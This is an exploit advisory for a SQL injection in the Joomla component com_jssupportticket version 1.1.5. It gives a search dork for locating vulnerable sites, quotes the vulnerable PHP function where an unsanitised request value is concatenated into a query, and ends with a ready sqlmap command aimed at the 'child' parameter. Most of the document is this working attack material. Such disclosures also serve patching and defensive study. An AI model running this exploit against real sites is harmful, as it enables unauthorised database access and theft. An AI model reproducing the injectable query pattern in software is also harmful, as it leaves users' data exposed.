Joomla JS Support Ticket 1.1.5 SQL Injection

`#Exploit Title: Joomla! component com_jssupportticket - SQL Injection  
#Dork: inurl:"index.php?option=com_jssupportticket"  
#Date: 08.08.19  
#Exploit Author: qw3rTyTy  
#Vendor Homepage: https://www.joomsky.com/  
#Software Link: https://www.joomsky.com/46/download/1.html  
#Version: 1.1.5  
#Tested on: Debian/nginx/joomla 3.9.0  
#####################################  
#Vulnerability details:  
#####################################  
Vulnerable code is in line 441 in file admin/models/userfields.php  
  
439 function dataForDepandantField( $val , $childfield){   
440 $db = $this->getDBO();  
441 $query = "SELECT userfieldparams,fieldtitle,field,depandant_field FROM `#__js_ticket_fieldsordering` WHERE field = '".$childfield."'"; //!!!  
442 $db->setQuery($query);  
443 $data = $db->loadObject();  
444 $decoded_data = json_decode($data->userfieldparams);   
445 $comboOptions = array();   
446 $flag = 0;   
447 foreach ($decoded_data as $key => $value) {   
448 if($key == $val){   
449 for ($i=0; $i < count($value) ; $i++) {   
450 if($flag == 0){  
451 $comboOptions[] = array('value' => '', 'text' => JText::_('Select').' '.$data->fieldtitle);   
452 }  
453 $comboOptions[] = array('value' => $value[$i], 'text' => $value[$i]);   
454 $flag = 1;   
455 }   
456 }   
457 }  
458 $jsFunction = '';   
459 if ($data->depandant_field != null) {  
460 $jsFunction = "onchange=getDataForDepandantField('" . $data->field . "','" . $data->depandant_field . "',1);";  
461 }  
462 $html = JHTML::_('select.genericList', $comboOptions , $childfield,'class="inputbox one"'.$jsFunction, 'value' , 'text' ,'');  
463 return $html;   
464 }  
  
#####################################  
#PoC:  
#####################################  
$> sqlmap.py -u "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=datafordepandantfield&fvalue=0&child=0" --random-agent -p child --dbms=mysql  
`